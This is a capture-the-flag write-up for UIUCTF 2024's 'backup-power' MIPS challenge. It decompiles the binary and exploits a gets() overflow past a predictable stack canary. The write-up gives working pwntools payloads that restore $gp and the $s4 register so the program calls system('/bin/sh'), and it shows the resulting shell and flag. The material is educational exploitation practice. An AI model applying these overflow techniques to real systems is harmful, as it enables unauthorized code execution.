UIUCTF 2024
pwn/backup-power
Introduction
The challenge provides a binary backup-power and a Dockerfile. On running file command, we get to know that the binary is:
- MIPS 32-bit
- Big endian
- statically-linked (no worries about finding a MIPS32 ld and libc)
$ file backup-power
backup-power: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=f35027e73bc1014a42a60288b446b1dedca772fb, for GNU/Linux 3.2.0, with debug_info, not stripped
On running checksec, we find out that the binary has a stack canary (which aids against buffer overflow), and has PIE disabled (so the addresses at runtime are the same as that we see with a disassembler).
$ checksec backup-power
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Running the executable
A quick google search on how to run and debug a MIPS executable, gives a Stack Exchange link. On running it, we are greeted with a screen, which asks for a Username, followed by a Password, and a Command.
===========================
= BACKUP POWER MANAGEMENT =
============================
SIGPwny Transit Authority Backup power status: disabled
Username: admin
Username is admin
Password: admin
Command: admin
Invalid command
We write a basic pwntools script in order to analyse and exploit the binary.
from pwn import *
context.binary = ELF("./backup-power", checksec=False)
p = gdb.debug(context.binary.path)
Preliminary Analysis
For this writeup, I am using ghidra for static analysis. On importing the binary in ghidra, we notice that there are two functions of our interest, namely main and develper_power_management_portal.
In main, the variables of our interest are:
char username [100];
char password [100];
char command [100];
char command_buf [128];
char shutdown [9] = "shutdown";
char shutup [7] = "shutup";
char system_str [7] = "system";
char arg1 [32];
char arg2 [32];
char arg3 [32];
char arg4 [32];
char *allowed_commands [2];
allowed_commands[0] = shutdown;
allowed_commands[1] = shutup
There is a do-while loop, with a while loop nested inside (both run infinitely). We analyse the code piece-by-piece.
do {
while( true ) {
printf("SIGPwny Transit Authority Backup power status: %s\n",backup_power);
printf("Username: ");
fgets(username,100,(FILE *)stdin);
sVar6 = strcspn(username,"\n");
username[sVar6] = '\0';
printf("Username is %s\n",username);
iVar7 = strcmp(username,"devolper");
uVar5 = arg4._0_4_;
uVar4 = arg3._0_4_;
uVar3 = arg2._0_4_;
uVar2 = arg1._0_4_;
if (iVar7 == 0) break;
printf("Password: ");
fgets(password,100,(FILE *)stdin);
printf("Command: ");
fgets(command,100,(FILE *)stdin);
sVar6 = strcspn(command,"\n");
command[sVar6] = '\0';
bVar1 = false;
for (i = 0; i < 2; i = i + 1) {
iVar7 = strcmp(command,allowed_commands[i]);
if (iVar7 == 0) {
bVar1 = true;
break;
}
}
if (!bVar1) {
puts("Invalid command");
return 0;
}
If the username entered is not devolper, it asks for a password, and a command, and if the command is not in allowed_commands (which contains shutdown and shutup), then the program returns.
If the username entered is devolper, it breaks out of the inner loop.
LAB_00400c9c:
iVar7 = strcmp(command,shutdown);
if (iVar7 == 0) {
backup_power = "disabled";
}
else {
iVar7 = strcmp(command,shutup);
if (iVar7 == 0) {
backup_power = "enabled";
}
else {
iVar7 = strcmp(command,system_str);
if (iVar7 == 0) {
sprintf(command_buf,"%s %s %s %s",arg1,arg2,arg3,arg4);
system(command_buf);
return 0;
}
iVar7 = strcmp(command,"todo");
if (iVar7 != 0) {
puts("We got here 3");
return 0;
}
puts("Only developers should see this");
}
}
This can be simplified to a switch-case as follows:
LAB_00400c9c:
switch (command) {
case shutdown:
backup_power = "disabled";
break;
case shutup:
backup_power = "enabled";
break;
case system_str:
sprintf(command_buf,"%s %s %s %s",arg1,arg2,arg3,arg4);
system(command_buf);
break;
case "todo":
puts("We got here 3");
return 0;
};
So, if the string command is equal to the string system_str, we can run system(arg1 arg2 arg3 arg4).
We proceed with further analysis outside the inner while loop (where we reach when username is devolper).
command = "todo";
develper_power_management_portal(in_stack_fffffd68);
arg1._0_4_ = uVar2;
arg2._0_4_ = uVar3;
arg3._0_4_ = uVar4;
arg4._0_4_ = uVar5;
goto LAB_00400c9c;
This sets the command to todo, runs develper_power_management_portal, and goes to LAB_00400c9c which would simply return if the command is left as todo.
Now, we analyse develper_power_management_portal function, which may be the key to solve this challenge.
void develper_power_management_portal(int cfi)
{
int in_a0;
int unaff_retaddr;
char buffer [4];
gets(buffer);
if (unaff_retaddr != in_a0) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
It is a small function with a buffer overflow vulnerability since it uses gets, but it also has a stack canary. The stack canary is simply the return adrress of this function and since PIE is disabled, its value is the same every time and is equal to 0x400b0c, as we see from the disassembly.
00400b04 0c 10 03 8e jal develper_power_management_portal
00400b08 00 00 00 00 _nop
00400b0c 8f dc 00 18 lw gp,0x18(s8)
In ghidra, we can see the stack layout of develper_power_management_portal (omitted some lines for simplicity).
**************************************************************
* FUNCTION *
**************************************************************
void develper_power_management_portal(int cfi)
void <VOID> <RETURN>
int Stack[0x0]:4 cfi XREF[1]: 00400e70(W)
...
char[4] Stack[-0x30]:4 buffer
undefined4 Stack[-0x38]:4 local_38 XREF[3]: 00400e6c(W),
00400e94(R),
00400ebc(R)
develper_power_management_portal XREF[3]: Entry Point(*), 00400b04(c),
.debug_frame::00000040(*)
00400e38 27 bd ff b8 addiu sp,sp,-0x48
From here onwards, sp stands for the value of $sp in develper_power_management_portal function, and s8 stands for the value of $s8 in main function.
- The first instruction subtracts
0x48from$sp. - Then the stack pointer in
mainissp+0x48. - The buffer which is vulnerable is at
$buffer = sp+0x48-0x30 = sp+0x18. - The stack canary that we wish to preserve is at
sp+0x48-0x4 = $buffer+0x2c.
The stack layout of main is as follows (omitted some lines for simplicity):
**************************************************************
* FUNCTION *
**************************************************************
int main(void)
assume gp = 0x4aa330
int v0:4 <RETURN>
...
char[32] Stack[-0x40] arg4
char[32] Stack[-0x60] arg3
char[32] Stack[-0x80] arg2
char[32] Stack[-0xa0] arg1
char[7] Stack[-0xa8]:7 system_str
char[7] Stack[-0xb0]:7 shutup
char[9] Stack[-0xbc]:9 shutdown
char[128] Stack[-0x13c command_buf
char[100] Stack[-0x1a0 command
...
main XREF[4]: Entry Point(*),
__start:004005cc(*), 004a2348(*),
.debug_frame::00000018(*)
004007b0 27 bd fd 68 addiu sp,sp,-0x298
...
004007bc 03 a0 f0 25 or s8,sp,zero
We make the following observations:
$gp = 0x4aa330.s8is equal to$sp in main, i.e.,sp+0x48.commandis at(sp+0x48)+0x298-0x1a0 = $buffer+0x128.system_stris at(sp+0x48)+0x298-0xa8 = $buffer+0x220.arg1is at(sp+0x48)+0x298-0xa0 = $buffer+0x228.
Our strategy is to make command equal to system_str, and arg1 equal to "/bin/sh". So that the program calls system("/bin/sh").
Exploit
We can exploit the buffer overflow vulnerability in develper_power_management_portal. A payload like the one below can be used.
p.recvuntil(b"Username: ")
p.sendline(b"devolper")
p.recvuntil(b"devolper\n")
payload = (
b"A" * 0x2c # fill till stack canary
+ p32(0x400B0C) # write the stack canary (upto $buffer+0x30)
+ b"B" * (0x128 - 0x30) # fill till command
+ b"system\x00" # write the command (upto $buffer+0x12f)
+ b"C" * (0x220 - 0x12f) # fill till system_str
+ b"system\x00" # write the system_str (upto $buffer+0x227)
+ b"D" # fill till arg1
+ b"/bin/sh\x00" # write arg1 (upto $buffer+0x230)
)
p.sendline(payload)
p.interactive()
We update send this to the program using our pwntools script. But, it segfaults.
Upon debugging, we find that it is because $gp gets overwritten to 0x42424242 because of the instruction at 0x400b0c in main.
00400b0c 8f dc 00 18 lw gp,0x18(s8)
We need to ensure, that s8+0x18 = sp+0x48+0x18 = $buffer+0x48 is equal to 0x4aa330.
We update the payload accordingly.
payload = (
b"A" * 0x2c # fill till stack canary
+ p32(0x400B0C) # write the stack canary (upto $buffer+0x30)
+ b"B" * (0x48 - 0x30) # fill till $gp
+ p32(0x4AA330) # write $gp (upto $buffer+0x4c)
+ b"C" * (0x128 - 0x4c) # fill till command
+ b"system\x00" # write the command (upto $buffer+0x12f)
+ b"D" * (0x220 - 0x12f) # fill till system_str
+ b"system\x00" # write the system_str (upto $buffer+0x227)
+ b"E" # fill till arg1
+ b"/bin/sh\x00" # write arg1 (upto $buffer+0x230)
)
But we run into one more issue.
sh: 1: AAAA/sh: not found
The arguments to system get corrupted, because in develper_power_management_portal the s registers are given values loaded from the stack, and in main, values from s registers are stored onto the stack.
The value of arg1 becomes "AAAA/sh". The value of arg2, arg3, arg4 becomes "AAAA".
We desire arguments other than arg1 to be empty string, i.e., \x00, so a simple solution is to replace all "A" with "\x00" in the payload.
00400b1c af d4 01 f8 sw s4,0x1f8(s8)
The above instruction stores $s4 at s8+0x1f8 = sp+0x240 = $buffer+0x228, which is same as arg1.
So, we must ensure that $s4 is equal to /bin.
00400ed8 8f b4 00 30 lw s4,0x30(sp)
The above instruction loads $s4 from sp+0x30 = $buffer+0x18. So, we modify our payload accordingly.
payload = (
b"\x00" * 0x18 # fill till $s4
+ b"/bin" # write $s4 (upto $buffer+0x1c)
+ b"\x00" * (0x2c - 0x1c) # fill till stack canary
+ p32(0x400B0C) # write the stack canary (upto $buffer+0x30)
+ b"B" * (0x48 - 0x30) # fill till $gp
+ p32(0x4AA330) # write $gp (upto $buffer+0x4c)
+ b"C" * (0x128 - 0x4c) # fill till command
+ b"system\x00" # write the command (upto $buffer+0x12f)
+ b"D" * (0x220 - 0x12f) # fill till system_str
+ b"system\x00" # write the system_str (upto $buffer+0x227)
+ b"E" # fill till arg1
+ b"/bin/sh\x00" # write arg1 (upto $buffer+0x230)
)
And this does the job. We get a shell.
[+] Opening connection to backup-power.chal.uiuc.tf on port 1337: Done
[*] Switching to interactive mode
$ ls
Makefile
backup-power
backup-power.c
flag.txt
$ cat flag.txt
uiuctf{backup_p0wer_not_r3gisters}
The final exploit script is solve.py.